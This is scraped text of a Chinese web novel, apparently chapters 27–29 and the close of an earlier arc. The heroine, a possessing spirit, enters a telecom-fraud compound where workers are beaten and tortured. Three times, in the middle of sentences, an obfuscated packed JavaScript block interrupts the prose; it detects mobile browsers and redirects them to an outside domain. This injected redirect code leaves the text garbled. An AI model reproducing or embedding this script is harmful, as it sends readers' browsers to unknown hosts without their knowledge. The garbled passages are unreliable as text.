梦里的小樱,是那么快乐地叫她姐姐,她们在一起享受那顿已经来不及的晚餐,一点没有姐妹之间的隔阂。而那个人,也坐在旁边,带着熟悉的温度。 在那个无比真实的梦里,那个人也说了一句话。 “小梅。你的时间,开始重新转动了吗?” 而自己的妹妹,也坐在一旁,热烈笑着望向自己,等待着回答。 就像是,在等一个很重要的回答。 啊。 为什么直到今天,她才完全想起那个梦呢? 握紧铃铛,恍然之中,程小梅终于明白了这些不断温柔落向自己、打破后再度融合的情感,到底指向什么。 她也终于完全清楚了,自己一定要来见李耀成一次的意义! 程小梅闭了闭眼。 笑了又哭,哭了又笑。 许久,在李耀成疑惑的目光中,她擦了擦泪水,平静说道。 “我和你不一样。” 她认真地直视眼前。 “其实我想了很久,一直不知道这将近两年的时间,对我而言究竟算什么。” “在寻找小樱的时候,我明明知道她很可能已经遇害了,却仍然抛下一切、不停寻找。现在看来在,与其说寻找小樱,更像是是在寻找自己,到头来只是懦弱地逃避自责、逃避痛苦。” “而这半年多来,我也一直茫然若失,每天不知道该做什么,只是等着见你一面的今天。想着也许见到你被关在牢笼中的惨状,我就可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958561|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将全部自责与痛苦转移到你的身上,从而祈求到小樱的原谅;想着我可以质问你到底有没有后悔,就可以拿着这个答案,从而祈求到小樱的宽恕。” “但是现在,我已经完全明白了。” 程小梅慢慢起身。 她并没有问他有没有后悔,因为这是他必须自我寻找的答案,却不是自己的。 她望着眼前只透着通风小孔的房间,她知道出了房间,外面是高高的电网,是荒芜没有绿色的土地,是被四周拦住的巨大的监狱。 他将一生在这里为自己的罪恶赎罪,这是他的代价。 可同时,她还活着,活在外面广阔的世界。 以“程小梅”这个独立自由的身份,一点一点,去学会在这个世界中好好生活。 时间是如此漫长而沉重,每一分一秒都值得珍惜,可她的时间已经凝滞了太久。 但是没关系,还来得及。 恨与爱,这些复杂的情感并不是约束。她将怀抱着这些情感,重构破碎的内心,去继续生活,去以自己的意志,在漫长的时光中做一些有意义的事情。 慢慢地,摸索着,走向独属于她的未来。 而现在。 时间,该再次转动了。 “会见结束——”狱警敲了敲门。 程小梅起身。 “再见,李耀成。” 她头也不回地,大步离开了这扇门。 “等——等一下——!” “0198号,会见结束,回到你的房间。” “不是,我只是想对她说,对不——” “0198号!” “可是——” “李耀成!” “不……孩子。” “回去吧。” “不是现在,还不是现在啊。” “【对不起】这三个字,大约是世上最沉重的三个字。总有一天,当你真正明白生命的重量、发自内心地忏悔时,再说出来吧。 “或许很久很久以后……” “那时,你还可以有机会,亲口对她、对她们说出来。” 女狱警轻轻地拉着李耀成,摸了摸他的发顶。 “走吧,孩子。” 她温声道。 “今天。” “我们去种一颗新的树。” …… 大门开启,属于夏日的阳光照进这座监狱,山脚下,留下一片光明与阴影的交界。 以相反的方向。 程小梅迎着阳光,大步走向外面的世界。 忽而一阵风吹过,带着洋洋暖意,吹乱了她的发丝,遮住视线。程小梅伸手拂起,便看到最炙热的那片阳光下梁警官倚靠在车门,正笑着和她挥手。 是来接自己回家的啊。 程小梅也微笑着,快速向对方走去。 只是那股风不停卷啊卷,活泼地缠绕着程小梅的周身,再度吹起她的发,仿佛是调皮欢笑的小孩子。 程小梅停下脚步,好笑看着忽明忽暗的眼前。 然后,在这片模糊的视线中。 她隐约听到了一个声音。 “梁警官,你听到了什么声音吗?” “嗯。我听到了,好像是……” 叮呤。 叮呤。 …… 似乎是清脆的铃铛声,刹那间于风中响起。 程小梅一愣,再看到眼前。不知何时,手中一直握着的铃铛已经碎成粉末,在阳光下随风飘卷向上空,纷飞,起舞。曾见过的繁复花纹与古老符咒,披着金色,若隐若现。 明明碎了,可那铃铛声不绝于耳,动听极了。 叮呤。 叮呤。 就那样清脆地敲击着。很久才消散。 遥远虚空,隐约传来最熟悉的声音。 …… “哈哈,这才是我最后一个愿望呀。” 带着阳光般的暖意。是少女最快乐的声音。 越来,越远。 …… “姐姐。” “再见。” 【第一个世界完】 27.在电诈园区(一) 任务二在时限结束那一刻,进度仍停在1/100。 系统:……别问,问就是哭! 只不过,凌逍还是很有责任心的,她只是淡定强调任务不算失败,拒绝脱离这个世界。按照她的原话来说,就是: 【不急,悔意值总会慢慢填满的。】 当然,她偶尔会对原世界施加一些小小动作,又或会者偷偷溜出来,换一种无关任务的身份生活。可能是身边的同学,老师,朋友,也可能只是擦肩而过的陌生人。 她似乎很耐心地在等待着什么。 直到某一天,风中忽然响起一阵清脆的声响。 凌逍伸手利落地画了一个极其古怪的花纹,或者说——符咒。 系统还没来得及反应,就看到精灵般飞舞的粉末晃悠悠飘回虚空,仿佛有意识一样,欢快落在了凌逍周身。然后很快,在一阵金色的光芒中,重塑凝聚,再度在掌心化为一个小铃铛。 只不过它莫名变得很崭新,亮晶晶的。失去了古老花纹与符咒,它看起来就是个普通铜质小铃铛。 唯一不同的是,铃心不见了。 系统满头问号:【所以,这到底是什么?】 凌逍长长舒了一口气,终于好心情地解释起来。 【还记得新规则吗?我无法附身受害者,也无法回溯她们的时间。】 【没错,我无法改变她们遇害前的命运。但是换句话说——没规定不能改变之后的命运吧?】 凌逍的口吻很温柔。 但系统不由打了个冷颤。 【既不能回溯,又要求我来介入世界,就说明她们的灵魂碎片还在某处无意识游荡。所以我在刚刚进入世界的瞬间,就立刻锁定碎片,放在了这个镇魂铃里。】 【只要满足最后一个愿望,铃铛一旦响起,她们就会——】 系统经历了从不明所以、到若有所思,再到极度震惊的过程。 【就会……怎么样?】 数据流疯狂跳动着,系统只感觉到一股从未有过的颤抖。它有一种概率高达99.9%的强烈推测,但此时此刻又多么希望这推测毫无依据。 毕竟这祖宗打从进入全新任务世界后,就一直对规则很不爽。很明显,这次她是想要和整个规则对着干,收集完整的灵魂—— 然后。 推翻任务,重新回溯时间! 却见凌逍冷笑一声,收起铃铛,不说话了。 系统哭唧唧,最终只憋出这么个问题。 【说吧,集齐七个铃铛能召唤神龙吗?】 给个心理预期吧祖宗,难道它以后还得跟着她勤勤恳恳、回溯世界吗? 凌逍:【嘻嘻,你猜?】 系统:……我太难了! 日复一日,时间慢慢流逝。 十几年后,就在很寻常的某一天、某一刻,悔意值就那样平静达到了顶峰。 第一个任务彻底完成。 出发前,系统偷偷观察着凌逍。她似乎一直在选择走很艰苦的路,但怎么看都乐在其中。她曾经说过,这只不过是为了贯彻某种意志—— 可人类所谓的意志,到底是一种什么虚无缥缈的东西呢? 最后,系统只是茫然闪烁了片刻。 机械电子音闷闷说道:【凌逍,走吧。】 【现在,第二个任务世界开启。】 …… …… “阿路!说,就在你眼皮子底下搞出来的事,还不止一次了,叫老子怎么和老板交代!” 凌逍一睁眼,就闻到臭烘烘混杂的味道,沿着闷热的空气一同被吸进肺里。身体一阵阵的难受,脑子里一片空白,当这股热气涌过来时,还控制不住有种翻涌想吐的冲动。 阿路,大概就是这次自己附身人的名字。可能是昵称,不过从语气来看……行吧,顶多算是代称。 凌逍还没来得及打开任务面板,便听到周围嗡嗡的鼎沸人声,嘈杂无比。其中一道粗哑的男声再度清晰传到耳边,这次夹杂着更凶狠的怒气。 “哑巴了,老子的问题竟然也敢不回答??” “怎么,【雷公】还不够,你也想跟她一起尝尝【定海】的滋味?” 凌逍:…… 啊这,有点难评。 【雷公】?【定海】?又是什么鬼东西? 这次总不会是个社畜*神话世界吧? 凌逍暗中拼命深呼吸,试图汲取大量氧气。稍微清醒后她才发现,自己正身处一个大概环境比较差的公司。大热天的没空调,工位挤在一起好像大通铺,乱糟糟的。 而面前的男人,他约莫二十多岁,宽大花衬衫被扣紧皮裤中,室内还带着墨镜和金项链,依稀可见墨镜后长长延伸的刀疤,总之一点也不像个正经上班的。他竟然还带着指虎,手指有一下没一下地咯吱咯吱作响,看起来下一秒就要出拳了。 但这还不是重点。 重点是,凌逍此刻脚边,正躺着一个姑娘。 一个蓬头垢面看不清脸,蜷缩在脚边一动不动,只有微弱呼吸起伏的姑娘。 而与此同时,周围的同事依旧噼里啪啦地在工作,那么热闹,似乎对这里发生的一切都视若无睹,也没有任何人过来扶起她。 花衬衫冷笑一声,似乎耐心已经彻底告罄。金属冰冷的光芒反射到凌逍眼底,眼见着那指虎就要挥舞眼球前,凌逍飞速鞠躬,避开这一击。 这次的任务情况有些奇怪,恐怕危机重重,绝不能初来乍到就泄露出任何异样。 借着这弯腰一瞬,凌逍飞速扫视四周环境,汲取最重要的信息。就在这时,她注意到工位上的某些东西。 于是立刻低头道歉。 “哥,这次的事我真不不知情,下次一定注意。” “这个月的业绩……等着我孝敬您这个数,大家有钱一起赚,这诚意您看还够吗?”凌逍伸手,悄悄比划了个数字。 她的声音是从牙缝里面挤出来的,明显带着自责,同时又有些不甘。 花衬衫一愣,呼啸的拳风停在半空中。 片刻后,哈哈一笑。 “真是稀奇了,咱们最拼的阿路姐也会把业绩分给我?不过,估计你也是逼急了。” 花衬衫踢了地面上的姑娘,露出得意而轻蔑的笑:“就算是老乡又能怎么样?护得了一时,护不了一世。在这个地界上,你孙行路算个什么玩意儿?” 凌逍一直弯腰附和,直到花衬衫心情大好,摆摆手。 “把这女人拖出去,【定海】就算了,牢牢看好她,饿几天。” 两个精神小伙不知从哪冒出来,拖着姑娘的腿就要往外走。就在这时,凌逍却对花衬衫笑道:“哪能让您费心啊?” 她慢慢站起,与花衬衫对视。 “留一个人,多一个份业绩。咱俩之间怎么走账无所谓,主要是为了让老板回来高兴高兴,省得看咱们不争气,心烦,是不是?” 凌逍特意强调了【老板】两个字。 她的声音带着不容置疑的尊敬与憧憬。 这两个字一出,花衬衫就下意识皱了皱眉,思索片刻。 “老鱼说一会儿新货就到了,都准备好了吗?”忽然,他问了一个完全不相干的问题。 凌逍一怔,旋即恭敬回 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【任务一:找到真正的人渣。任务时限:7天。】 7天? 上一个世界任务时限是3天,大概是考虑王燕红的社会关系很简单,身边就那么几个人。可现在搭眼望去,光是这片脏乱差的空间里就起码挤了百十号人,显然是个巨大工作量。 设置这样的时间,难道暗含了什么关于人渣的提示吗? 凌逍找了碘伏和纱布,认真处理姑娘身上最新的伤口——先别问她为什么好端端工位抽屉里有急救药品。随后,小心翼翼地喂她喝了几口水。 【噢。】凌逍随口回答系统。 系统:…… 系统:【凌逍,我觉得这个世界有点不正常。该怎么说呢,我虽然接收到了任务,但是对于整个世界资料、人物关系的数据全是空的。也就是说,现在我就是个裸机,没联网,没办法给你提供任何帮助。】 凌逍惊讶反问:【我的天呐,您什么时候提供过帮助?】 系统:【……反正人渣就是你的亲友之一,估计同事也算在里面,你小心点!】 【这个世界不对,我感觉我失忆了!】 凌逍听闻,点点头。 【你知道为什么会这样吗?】 她想了想,用通俗语言和系统耐心解释。 【其实确切来说,我,才是那个暂时失忆的人。】 系统:……??? 【也就是说,我的记忆一片空白,不知道我从哪来,到哪去,有什么经历背景,更不知道亲友同事都有谁。如果不是刚刚花衬衫喊了“孙行路”,我甚至不知道自己的名字是什么。】 系统:…… ??? 等等,所以到底发生了什么? 救命,虽然现在情形看起来有点不太多,但是能不能更详细解释下啊喂! 凌逍三下五除二处理好了姑娘的伤,蹲在工位前,打开电脑。 【但是我大概知道这里是哪里。】 系统生无可恋:【哪里?】 她仔细观察了下工作上的各种摆设、环境。 沉吟片刻,果断输入几个密码数字。 显示屏被砸灭的老旧电脑,慢悠悠再次亮了。 一片电话声、键盘声、隐隐随风传入的莫名哭喊声传来。凌逍平静地问系统。 【你,知道臭名昭著的电信诈骗园区——】 【“坎丁”吗?】 28.在电诈园区(二) 坎丁。按照当地语言发音,原本是“美好与希望”的意思,多年前曾被誉为新生儿最常取的名字之一。 但不知从什么时候开始,这两个字逐渐拥有另一层意义,甚至是令人闻之丧荡,惶恐难安。它很快臭名昭著,以至于提及这个词时,所有人都会下意识颤抖。 “无法逃离的电诈王国”—— 现在,这才是它的真正含义。 坎丁原本是一个废弃工业园区,大体位于边陲一片广袤的三不管地带。那里普通人民生活在贫困线以下,鱼龙混杂、军商利益关系交错,几十年来社会极其动荡不安。 而从某一年起,这个废弃工业园区悄悄重启,摇身一变成为了拥有完整电诈产业链、以及其他灰色产业的地方,汇聚了形形色色不同族群从中渔利的人。 具体地理位置并没有人确切知道。因为除了被信任的高层,进来和出去的人都被蒙着双眼,在破旧车辆中颠簸穿过密林河流,才会到达这个神秘地方。 曾经离这里最近的警力部署,位于距这里约莫几十公里一个叫作“水帘”的边陲小镇。十年前一场莫名巨大山火,彻底烧毁这片小镇,连同警局一起淹没在火海。有人说是坎丁头目放的火,也有说只是内部火拼波及到的。 总之,警方最后的部署防线随之消失,只留下几名普通警察负责值守联络,再难以向坎丁前进。水帘镇慢慢重建,却也再恢复不了昔日生活。坎丁,从此成了几乎独立自治的犯罪天堂。外界无数个家庭因此四分五裂,但这里依旧隐藏在广袤地界中。 而这个天堂,现在被一个神秘大人物掌控。外面的人从来没见过,没听过,更别提通缉追捕。 【他】,就是坎丁的现任老板。 他没有名字。 …… 听到一半的时候,系统的数据流就开始疯狂抖动。等到听完的时候,它几乎要抖成筛子了。 【你不是失忆了吗,凌逍?】 【小智障,我只是失忆,不是失去常识。】 凌逍:【孙行路身体素质很差,目前心跳、血压明显异常,幻痛明显。我现在暂时性的失忆……应该是被电击导致的。很可能就是花衬衫所说的——“雷公”,这种惩罚。】 系统:【……那“定海”呢?又是什么正常人想不出来的私罚?】 雷是电击,那么海,自然就对应水了。 凌逍神情凝重,但只是对系统摇头:【反正搞不好会死人那种。希望我猜错了。】 这次所有不同。在这个世界中,走错任何一步,凌逍都深知自己可能面临死亡,任务也会随之彻底失败。再加上目前暂时失忆的不利情况,简直是地狱开局。 不过没关系。 再快一点……她必须尽快掌控全局,掌握更多线索! 当然,如果能赶紧恢复记忆就更好了。她绝不能在这里出现一点OOC,引起其他人怀疑。 刚刚就在凌逍飞速扫视周遭环境的时候,她注意到很多细节。比如脏乱的环境中,周围工位屏幕上不断弹出聊天对话框,比如满屏杂乱的代码,和充斥着乱七八糟弹窗、下注、甚至是情色内容的网站。 孙行路的工位是这里最干净整齐的,没什么杂物,只有一个小小的孙悟空玩具摆设,已经很旧了,金箍棒上隐约可见另外亲自刻的花纹,可见是最重视的东西。当大环境强行磨灭一个人的个性时候,如果一个人还能够与众不同、坚守自我,显然说明她心智坚定,自有一股狠劲。 虽然不知道这股狠劲到底是好的,还是坏的。 二手显示屏被砸歪了,桌子上贴着两张便签字条。 一张便签上写着:【4月目标,500万!】 笔迹铿锵有力,应该就是孙行路主动……或被迫定下的目标。而500万,不多不少,显然是一个团队的工作量,这说明目前孙行路手下应该管理着几个人。 另一张便签则写着这样两个词,似乎是为了提醒自己重要准备工作。 【新人培训。准备狗推资料。】 而就是这一眼,让凌逍飞速确定了自己所在世界的大致情况,以及这具身体的角色定位。再结合花衬衫的话,她毫不犹豫地给出了最正确不过的反应,避开初来乍到的危机。 因为,在阳光世界的那一头,屏幕上的网友可能是美女,可能是帅哥,可能是富二代,可能是知道□□内幕的成功老板。但隔着虚拟网络的另一头,他们在坎丁有一个统一的名字—— 狗推。 电诈园区底层工蚁。 不需要专业技能,被培训过完整诈骗话术流程,每个月至少有几十万保底业绩的——狗推。 系统一边抖,一边疯狂自我催眠:【呵呵呵呵,没准就是个生存条件恶劣的皮包公司呢!现在经济环境不好,打工人也要体谅一下老板嘛!】 正在这时,瘫倒在工位前的姑娘涔涔冒着冷汗,昏迷中依稀在呢喃:“不要打我……放我走……不行,我要逃走……” 远处闷热的风,随之飘来其他即将消散的惨叫。 系统沉默片刻:【……哈哈,这里员工看来工作量有点大呢,我懂,我也有时候上班想跑路。】 凌逍非常宽容地安慰了下鸵鸟系统,随后避开监控,在桌子底下暗中掏出一个小铃铛。 依旧是古朴的铜质铃铛,上面是不变的花纹符咒,怎么晃动都不会响。 系统见状,不由精神一振:【这个铃铛里面,就是我们这次寻找真正人渣的遇害者线索,对不对?】 凌逍:【嗯。】 系统:【只有一个铃铛,代表着只有一个遇害者吧?果然,这里肯定不是坎丁!】 【等我联网了,立刻去找找什么办公室情杀新闻……】 却见那铃铛瞬间碎裂成了许多个迷你版,一捧满满握在掌心中。凌逍手腕一翻,才再度恢复成了一个完整的铃铛。 【数数。这才是遇害者的真正的数量。】 凌逍握紧铃铛。 系统:【……】 【对不起,凌逍,这回我真认清现实了。】 【来吧,说说看,这次任务有什么思路?呜呜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14986615|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真的好想快点离开这个地方啊。】 凌逍笑了笑,摸了摸系统的数据流。 【嗯,不怪你。其实第一个世界结束后,我开始能够快速感知遇害者的灵魂,甚至某种程度上,能够触及到最后一个愿望的大概方向。】 【这次遇害者很多,但是她们最后一个愿望,无一例外,共同都是——】 【摧毁坎丁。】 凌逍的口气平静过了头。但系统知道,这是她极度愤怒的表现。 这是第一次,她打从心底里想要彻底暴力摧毁某片土地。 凌逍收起铃铛,注视着工位上的女孩儿。 【任务一的内容是7天内找到真正的人渣吧?看来这回,我们的任务目标就是找到那个神出鬼没的坎丁老板,让他后悔。】 系统闷闷问道:【可这里是三不管地带,我们还能送他进监狱吗?】 【也许吧。所以,我需要拿到这个园区最核心的秘密,尝试联系水帘镇仅剩的警方,寻求联络。】凌逍道。 系统:【那悔意值呢?】 【噢,你问怎么让他后悔?】 凌逍冷笑道。 【当然是当着这位“老板”的面——】 【将坎丁,炸、上、天!】 …… 距离任务一:找到真正的人渣,时限还有7天。 凌逍看了看时间,下午两点。刚刚花衬衫提到的“老鱼会带一批新货过来”,应该就快了。孙行路屏幕上的资料都是有关狗推的,显然她不负责技术层面,而负责一线诈骗工作。 凌逍看到一个文件夹,里面许多个认真制作的文件,应该就是这次的新人……新货培训资料了。包括合同、身份设定、诈骗话术、和技术组的合作流程,凌逍快速浏览了一遍,默默记在心里。 花衬衫手下的一个精神小弟过来了,他面色不善冲凌逍扬起下巴。 “准备下,十分钟之后,跟我去接货。” 看来新一批被“送”到坎丁的人,到了。 对于现在几乎一无所知的局面来说,这显然是快速渗透本座办公楼的好机会,甚至有机会的话,她可以看到整个园区的环境,以及整个产业链——哪怕是冰山一角也好。 但另一方面,她必须表露出和孙行路完全一样的性格和专业度。 可孙行路,到底是个什么样的人呢?凌逍现在知道的其实并不多,只能推测出她很喜欢西游记,屏幕密码13500,心智坚定敢于拼搏,对老板畏惧而尊重,对于同乡手下的人很看重,哪怕是自己受罚都情愿保下对方。 可是有一点,对于凌逍仍是个未知答案—— 孙行路,到底对于坎丁,有多少了解认知呢? 系统:【看来这次你只能先干点违反犯罪的事情了,诈骗就诈骗吧,先活下来再说吧。谁知道完不成这个月的业绩,你是不是还会受罚。】 凌逍:【嗯,是得诈骗。】 她思索片刻,果断道:【但是,诈骗的不是屏幕那头的普通人,而是——】 【坎丁!】 29.在电诈园区(三) 时间紧迫,凌逍来不及现在对这上百号人的办公室进行调查,只能利用几分钟的时间,将电脑中的大部分文件都快速浏览了一遍,尤其是孙行路辛勤整理的“新人SOP”培训文件。看完之后,就差不多就对坎丁业务模式中的“狗推”方向彻底掌握了。 拖久了估计会有麻烦。凌逍很快关闭显示屏,正要离开去找精神小伙1号。就在此时,耳边却忽然传来喑哑的声音。 姑娘醒了。 凌逍不知道她的名字。不过旁边工位的小男生原本一直在老老实实“工作”,见四周无人注意这里,这才犹犹豫豫地凑近一丢丢,小声询问。 “十二妹,”小男生的眼神里流露着隐隐担忧,“你还好吗?” 十二妹,就是这姑娘在坎丁的代称,也许是在哪里排行十二的缘故。 他握着鼠标的手微微颤抖,带着哭腔对凌逍哀求道:“路姐,她保证不会再逃了……我知道你作为组长因为这事受了牵连,跟她一起受了‘雷公’,但十二妹真的不是故意的!求你让她去休息吧。” “她这个月的保底业绩,我分她10万,还不成吗?” 十二妹慢悠悠睁开眼,看到凌逍隐带关切地望着自己,冷笑。 然后突然嘲讽地啐了一口。 “阿杰,”她对小男生冷冰冰说道,直接无视凌逍,“别装了,不就是你去找刀疤告密的吗?” 凌逍想起来花衬衫墨镜后有一道疤痕。看来“刀疤”,就是花衬衫在这里的名字。 阿杰一愣。 “什么找刀哥告密……”他不自在地将椅子挪回原位,小声叨叨,“十二妹,别乱说……我不知情。” 气势低了起来。 “好一个不知情!”十二妹捂着腹部伤口,惨笑起来,“你不知情,那怎么这次我筹谋完一切逃跑计划后,人还没出这栋楼,就被刀疤抓起来了?” “我真的有必须出去的理由啊……这回明明只告诉过你一个人而已!” 这回?难道还不止一次尝试逃跑了? “这里哪个人没有必须出去的理由?!”阿杰也生气了,怒气冲冲地扭头,同时拼命压制住音量:“我明明是关心你!” “哈——别以为我不知道,举报逃跑一次,奖励现金2万,相当于20万的保底业绩要求!分我10万,呵,半对半,是给我的友情演出费吗?!”十二妹哂笑起来。 人多眼杂,再加上不能长时间离开电脑,否则会被罚款。阿杰气呼呼地,噼里啪啦地去敲键盘,干脆不说话了。 凌逍暗暗听着两个人吵架,心底飞快消化从中了解到的信息,面色凛然。 她正打算稍稍安抚十二妹,回来找机会详细了解一下,却见对方火力全开,几乎比对阿杰的态度还要恶劣,狠狠地瞪了自己一眼。 “组长,用不着你假惺惺救我!” “再说一次,我,根本没有你这种掉进钱眼、不择手段向上爬的老乡!我的家乡,会永远以有你这种人为耻辱!” 凌逍微微一顿,伸出手的收回。 凌逍不好直接问“咱们到底是哪个地方的老乡”,因此,只是带着试探反问:“碰见老乡在这里不容易,我护着你还有错了?” “你不过是为了业绩。” “我也是被逼无奈。” “无奈?” 十二妹就像是听到了什么天底下最可笑的玩笑。 这一刻,她的眼神里充满了鄙夷,以及愤怒燃烧的火焰。看着凌逍,就像是在看什么脏污的垃圾。 十二妹冷冷嘲讽道:“你孙行路——” “当年,难道不是主动求着来这里的吗?” 凌逍心中一震! 自愿来到坎丁搞诈骗?可十二妹怎么会知道? 这绝不是什么简简单单地出来找工作。来到坎丁,就实际意味着一个人主动背井离乡、彻底放弃一个清白的身份,冒着一辈子无法从电诈园区逃离的风险,永远躲藏在这个地方,日日夜夜做着违法犯罪的事情。 同时,也意味着—— 这具体身体,很可能藏着不可告人的黑色秘密,无法暴露于阳光下! 除了无路可退的杀人犯、诈骗犯等,很少有人会自愿把命拴在这里。而孙行路,在外面世界中会是这样的身份吗? 但更重要的是,这秘密是否会影响到她摧毁坎丁的计划呢…… 刺耳喇叭忽然响起“十二妹擅自离开工作岗位超过5分钟,罚款2000”的通知,在嘈杂的办公室里甚至没有激起一丁点浪花,每个人的脸上带着习以为常的麻木。 十二妹额头冒着冷汗,忍痛冲着墙角上的监控比了个中指,向阿杰另一头的工作踉跄走去。她没有再和凌逍说一句话,更没有施舍给凌逍一个眼神。 她孤独地走向自己的工位,为了活命,不得不咬牙去伤害网络另一头的人。 小小的啜泣声到底不经意传了出来。 地狱开局,加上秘密重重。 凌逍若有所思,深深地看了一眼十二妹与阿杰,旋即大步离开。 脚步远去,只有极细微的声音随着闷闷的风吹来,吹到凌逍的耳畔。 似乎是阿杰自己的喃喃低语,在乱糟糟的办公室里就像是沧海一粟渺茫,显得几不可闻。 “我是真的为你好。反正也逃不出去,还不如在这里赚钱苟活呢。” 阿杰的低语蕴含着极其复杂的情绪,消散在风中。 “只要【老板】还在,就没有任何人可以活着离开坎丁啊……” …… 花衬衫,也就是大家口中的“刀哥”,正带着精神小伙1号、精神小伙2号,还有凌逍,站在这栋楼门前。 凌逍刚刚跟着精神小伙1号下楼,低眉顺眼地跟在后面。趁着对方没注意的时候,她飞速打量了整栋楼的结构。这栋办公楼总共三层,原建筑大概是把这里作为整个园区的行政管理中心,建筑材料还算用心,每一层面积都挺大,几乎都打通了。顺着三楼、二楼的台阶向下走时,都能看到大区域里挤满了人,在连成片破旧的桌子上认真“工作”。 而一楼人少一点,主要是厨房和食堂。桌椅都破破烂烂的,电线很不安全地互相交错缠绕在一起,甚至还能看到有地方裸露的线路。而旁边就是水池子。 系统:【到哪里都是草台班子啊,这多不安全……嘿,凌逍,你瞧!】 顺着系统的指向,凌逍看到厨具就是最基础的锅碗瓢盆,就是喂猪的那种盆用来装米。后面几个阿姨正在刷碗,还有脏拖把和菜,什么都放在一个水池子里一起洗。 凌逍:【……谢谢,忽然不是很想吃晚饭了。】 宿舍不在大楼里。大楼只有正门口一个出口,并没有警卫把守,显然这栋楼员工是可以随意进出的。 但对于凌逍而言,这其实绝不算一个好消息——因为这只能说明,这栋占地面积已经算不小的三层大楼,在坎丁,只算是冰山一角而已。 他们对于园区的“安全”,拥有着绝对自信。 任何人都无路可逃。 “货呢?” 花衬衫被伺候点了一只烟,不耐烦地抽起来。 “刀哥您放心,”精神小伙1号笑嘻嘻抢着回答:“老鱼对讲机说了,五分钟之内,马上就来。听说这批都是好货,还有正经大学生!” “还得是刀哥您出面,见了面震慑住他们,肯定就老实不敢跑了!嘿嘿,不像某些人,看不好自己的货,乱跑!” 哟呵,典型的指桑骂槐。 系统没忍住,冒出头替凌逍对骂两句——单方面的对骂。不过它注意到一个奇怪的点:【都什么年代了,还用对讲机?这个世界不是现代背景吗?】 凌逍弹了弹系统瘫痪状态的数据流:【噢,小智障,你猜猜这群人为什么不用自己的手机?是因为不喜欢吗?】 反正凌逍在翻自己工位抽屉的时候,没看到任何可以和外界联系的工具。就连电脑,布署也只是内部专用网络,只允许使用特定软件,一举一动都在技术部某些负责人的监视之下。 系统:【岂不是和我现在裸机状态一样……天呐,亲身代入我都能开始理解人类感受了,这群非法禁锢人身自由的垃圾!】 精神小伙1号刚邀完功,又夹枪带棒地损了凌逍几句。不过好在孙行路作为一线狗推组的重要业绩提供者,因为“好用”“拼命”这两个属性,已经勉强获得了花衬衫的初步认可。 否则就算凌逍反应再快、提出走账的业绩再多、再怎么拿“老板”说事,他也不可能将十二妹逃跑的事就此了之。更何况,他也没有取消孙行路新人培训的任务,显然从没有怀疑到她想要逃跑。 这其实更像是主人对恶犬施舍的微不足道的信任,这样恶犬才能更好地去拼命咬人。 但是对于凌逍来说,这一点点的信任……其实就已经足够了。 大热的天,办公楼和园区也根本没有空调这种东西,很容易影响心情。花衬衫叼着烟烦躁摆摆手,示意手下的人不要多嘴了。 正在这时,极远处传来一丝慢悠悠的“咔嚓”响声,像是金属制大门悠悠打开的声音。紧接着,车轮碾压马路的轰隆声开始逐渐逼近。 几个人都毫无反应,唯独凌逍听见了。 她耐心地等待着,脉搏跳动着,精准计算着时间。 可是凌逍的神情,随着安静空气中隐隐靠近的发动机声音,反而愈发凝重。 至少两分钟,车子竟然还没有跑到这里。 凌逍抬头,放眼望去。这里纬度很低,四月的天已经炎热到了极致。在炙热暴晒的阳光下,放眼所及之处皆是灰扑扑的楼,破破烂烂,年久失修。每一栋楼与每一栋楼之间都隔着极其宽阔的距离,阳光炙烤着尘土飞扬的地面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14996173|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明是亚热带地区,这里的树木密林却全部被砍掉——应该是为了防止视线的阻隔。 时不时有扛着木仓的迷彩服经过。队列不算整齐,但气势逼人,明显见过血。这大概就是坎丁有名的“私兵”。但凡被他们发现异常,只要捉住,就会迎来惨无人道的惩罚。 再向远,就什么也看不到了。 从车子进来的时间推算……这片园区,比想象中的还要大一些。 又过了一分钟,一辆二手中小型面包车溅起飞沙,停在了面前。精神小伙1号和精神小伙2号对视一眼,笑嘻嘻地跑过去迎接。 “老鱼,我们来接新货了!刀哥今天亲自出马!” 他们欢呼起来,飞奔到车前。从后面看去,屁股兜鼓鼓的一侧,随着他们的动作露出明显形状——正是电击棒。 看到电击棒,凌逍感觉空白的记忆有什么一闪而过,被残存的身体记忆忍不住颤抖起来。 花衬衫不耐烦地挥手,指虎泛着光,他示意凌逍一起去接人。 车门打开。四五十岁的司机跳下车,紧接着四五个拿棍子的青壮年轻人也跳下车,一边喊着“都给我滚下车”,一边强行往下拉人,就像卸货一样简单粗暴。 然后眼前的一幕,简直令人震惊。 